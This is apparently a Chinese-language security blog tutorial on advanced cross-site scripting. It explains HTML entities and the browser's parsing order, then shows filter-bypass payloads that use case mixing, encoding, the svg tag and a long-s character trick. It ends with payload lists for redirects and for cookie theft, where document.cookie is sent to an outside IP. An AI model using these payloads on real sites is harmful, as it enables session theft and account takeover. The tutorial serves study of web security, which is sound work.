XSS进阶版 01 1 原理 虽然之前写过,但并不全(是水文),而这期进阶版,其中几个概念必须得先说一下 1 html字符实体 为什么要讲这个呢,因为HTML中有些字符是和关键词冲突的,比如<、>、&,解码之后,浏览器会误认为它们是标签 php其中有个函数 htmlspecialchars() 函数就是将一些会产生歧义的符号转移成实体编号,对xss起到了防护作用。 2 解析机制 解析一篇HTML文档时主要有三个处理过程:HTML解析,URL解析和JavaScript解析,一般先是HTML解析,后面两个解析看情况而定,但大多数都是HTML解析->URL解析->JavaScript解析 3 服务器与黑客交互机制 之前的文章(水文)说过,可以回去复习一下 https://mp.weixin.qq.com/s?__biz=MzkzMjIxMDU5OA==&mid=2247483772&idx=1&sn=8760c7a4086314a6c1962397ec9539cf&chksm=c25e73b5f529faa36aa9d3dc2bb5e552dfe0959f8c80e11f6c7418749257d1ac2b31ec8faee9&token=1378834015&lang=zh_CN#rd 4 危害 除了以下危害还有很多,感兴趣的面向百度⑧ 02 基本概念都说过了,现在就直接进入干货了 绕过过程: 1 大小写绕过 这没啥好说的 <script>alert(zac)</script> 更换成 <ScrIpT>alert(zac)</sCripT> 2 空写绕过 当网站过滤了onerror 过滤了script 这些敏感字符,但是“ 或者 ' 这种符号会变成空可以绕过,例如代码 <img src=zac oner”ror=alert(ZAC)> 3 编码绕过 这是目前来说绕过最常用,使用最多的手段了,利用不同的编码机制去绕过,有几个例子 例1: <script>alert(“zac”)</scrIpt> 这是利用了unicode编码,将r转换成r来绕过 例2: 如下,经过了Html解析之后,进入href,就开始url解析了,没有把协议给编码,被URL解析器正确识别。然后URL解析器继续解析链接剩下的部分,最后就会触发xss <a href='javascript:%61%6c%65%72%74%28%31%29'></a> %61%6c%65%72%74%28%31%29这行payload解码就会变为alert(1) 例3 我们来按照浏览器的规律,解析一下 <a href='javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(zac)'> </a> 第一次html解析 第二次url解析 第三次js解析(unicode) 例4 <svg>标签 当我们的payload的是: <script>alert(1)</script> 可以发现,浏览器屁反应都没有 但是当我们在payload的前加上<svg>的时候 可以发现,界面弹窗了,这是为啥呢 这是因为解析到<svg>标签时,浏览器就开始使用一套新的标准开始解析后面的内容,直到碰到闭合标签</svg>。而在这一套新的标准遵循XML解析规则,在XML中实体编码会自动转义,重新来一遍标签开启状态,此时就会执行xss了。 4 小型实战 我们先来看一下代码 当我们输入<script>alert(zac)</script>时 会输出<_SCRIPT>ALERT(ZAC) 可以看到,这个过滤机制就是利用strupper函数,将字符串变成大写,这是我们要考虑的第一个问题,第二个就是在<符号后面加了_,这是第二个问题,解决这两个问题,我们才能正常的弹出xss js是区分大小写的,所以直接在标签内写弹窗脚本是不太可行的,但是我们可以直接引入外部的js,比如<script src=ZZZZAAACCC></script>,这就可以绕过 那么下斜杠怎么办呢? 因为后台匹配的是<符号后面接上正常的字母,如果使用的是不正常的英文字母呢?这里刚好有另外一个条件就是转化大写的这个操作,这个操作很妙,因为HTML标签是不区分大小写的,这样我们使用下图的这个拉丁字母,当转化成大写的话就刚好是S 所以最后的payload就是 <ſcript src=XXXX></script> 这样我们就可以绕过啦 5 一些xss的payload 1 网站跳转 <script>window.location.href='https://www.ZACURL.com'</script> <meta content='1;http://www.ZACURL.com/' http-equiv='refresh'> 2 cookie盗取 <script>window.location.href='http://1.1.1.1/?msg='+escape(document.cookie)</script> <script>document.body.appendChild(document.createElement('img')).src='http://1.1.1.1/?msg='+escape(document.cookie)</script> 3 不同的弹窗 后记 顺便提一嘴,我们学校的纸面渗透授权书已经在要了,等要到了有想锻炼的dd我 然后我文章里那个输入法,就是怕别人盗图恶心我整的,我爱阿狸!耶! ![]() |
|